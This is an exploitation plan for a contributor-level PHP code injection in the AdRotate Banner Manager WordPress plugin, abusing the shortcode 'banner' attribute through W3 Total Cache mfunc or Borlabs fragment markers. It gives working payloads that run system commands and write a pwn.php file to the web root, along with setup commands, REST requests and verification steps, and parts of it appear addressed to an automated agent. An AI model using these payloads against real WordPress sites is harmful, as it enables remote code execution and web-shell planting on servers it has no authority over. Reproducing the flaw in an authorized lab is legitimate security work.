AdRotate Banner Manager <= 5.17.7 - Authenticated (Contributor+) PHP Code Injection via 'banner' Shortcode Attribute

This research plan targets a PHP Code Injection vulnerability in AdRotate Banner Manager (<= 5.17.7). The vulnerability arises because the plugin concatenates the banner attribute from the [adrotate] shortcode directly into a PHP code string intended for execution by caching engines (W3 Total Cache or Borlabs Cache) without sufficient sanitization.

---

1. Vulnerability Summary

• Vulnerability: Authenticated (Contributor+) PHP Code Injection.
• Affected Attribute: banner attribute of the [adrotate] shortcode.
• Sink: PHP string concatenation into W3 Total Cache mfunc markers or Borlabs Cache fragment markers.
• Mechanism: When caching support is enabled in AdRotate settings, the plugin generates dynamic fragments containing PHP code calls (e.g., adrotate_ad(...)). Because the banner attribute is not cast to an integer or otherwise sanitized before being placed in the PHP string, an attacker can break out of the function call and execute arbitrary PHP.
• Requirements:
  1. Authenticated account with Contributor or higher role (to create/edit posts).
  2. AdRotate setting for W3 Total Cache Support or Borlabs Cache Support must be enabled.
  3. W3 Total Cache or Borlabs Cache must be active and configured to support dynamic/fragment caching.

2. Attack Vector Analysis

• Endpoint: WordPress Frontend (via Post/Page creation and viewing).
• Target Hook: adrotate_shortcode (registered via add_shortcode('adrotate', 'adrotate_shortcode') in adrotate.php).
• Payload Location: The banner parameter within the [adrotate] shortcode.
• Authentication: Required (Contributor-level user).
• Precondition: AdRotate configuration must have w3tc or borlabs support enabled.

3. Code Flow

1. Entry: A user saves a post containing [adrotate banner="PAYLOAD"].
2. Processing: When the post is rendered, WordPress calls adrotate_shortcode (found in adrotate-output.php).
3. Config Check: The function retrieves the plugin configuration via get_option("adrotate_config") (initialized in adrotate.php).
4. Marker Generation: If $adrotate_config['w3tc'] == 1 (or similar), the code builds a string for the caching engine:
   • W3TC: <!--mfunc [SECURITY_STRING] adrotate_ad(PAYLOAD); -->...<!--/mfunc-->
   • Borlabs: <!-- bbc_fragment_start ... -->adrotate_ad(PAYLOAD);<!-- bbc_fragment_end -->
5. Injection Sink: The PAYLOAD string is concatenated directly: ... "adrotate_ad(" . $atts['banner'] . ");" ...
6. Execution: The caching engine (e.g., W3 Total Cache) parses the output and executes the PHP code within the mfunc markers using eval() or a similar mechanism.

4. Nonce Acquisition Strategy

This vulnerability is triggered by viewing a post created by a Contributor. While creating the post requires standard WordPress authentication and nonces, the exploit itself relies on the shortcode execution logic.

• Contributor Actions: To save a post via the REST API or post.php, the agent must be authenticated.
• Shortcode Execution: No specific AdRotate nonce is required to trigger the shortcode on the frontend. The adrotate shortcode is available to anyone who can edit posts.

5. Exploitation Strategy

The goal is to inject PHP code that executes a system command or displays server information.

Step 1: Enable Necessary Settings (as Admin)

Enable W3 Total Cache support in AdRotate.

• Action: Update adrotate_config option.
• CLI: wp option get adrotate_config --format=json (to see structure), then wp option update adrotate_config '[modified-json]'.

Step 2: Ensure Caching Plugin is Active

W3 Total Cache must be active and W3TC_DYNAMIC_SECURITY should ideally be defined in wp-config.php for the engine to process mfunc tags.

• Action: wp plugin activate w3-total-cache.

Step 3: Inject Payload via Shortcode (as Contributor)

Create a post with a payload that breaks out of the adrotate_ad() call.

• Payload: 1); system('id'); //
• Shortcode: [adrotate banner="1); system('id'); //"]
• Request: POST /wp-json/wp/v2/posts (Authenticated as Contributor).

Step 4: Trigger Execution

View the created post.

• Request: GET /?p=[POST_ID]
• Header: Ensure no Cookie header is sent if testing as a visitor, or stay logged in to see the rendered shortcode output.

6. Test Data Setup

1. Configuration:
   • Set adrotate_config to enable W3TC: {"w3tc": "1", ...}.
   • Verify W3TC_DYNAMIC_SECURITY is defined (often required by W3TC for mfunc).
2. User: Create a user attacker with role contributor.
3. Target Post: Create a post containing the shortcode:

   wp post create --post_type=post --post_status=publish --post_author=2 --post_content='[adrotate banner="1); echo(md5(\"CVE-2026-12242\")); //"]'
   

7. Expected Results

• The raw HTML output of the page will contain the injected marker (if not processed).
• If the caching engine is correctly configured, the PHP code will execute, and the md5 hash 1c8759368d37c53d08f7b7673e5a31a9 (or command output) will appear in the HTML response instead of the mfunc comment.

8. Verification Steps

1. Response Check: Inspect the response body of the post view request.

   # Look for the injected code or its output
   grep "1c8759368d37c53d08f7b7673e5a31a9" response.html
   

2. Alternative Verification: Check the server logs or use a payload that creates a file:
   • Payload: 1); file_put_contents('pwn.php', '<?php phpinfo(); ?>'); //
   • Check: ls /var/www/html/pwn.php.

9. Alternative Approaches

• Borlabs Cache: If W3TC is not available, try the Borlabs marker. The payload structure remains the same (breaking out of the function call).
• Group Attribute: Check if the group attribute in the shortcode is also vulnerable. The description focuses on banner, but adrotate_group in adrotate-output.php is often handled similarly in shortcodes.
• Error-Based: If mfunc execution is silent, use 1); die(base64_encode(system('ls'))); // to force the output into the HTTP response.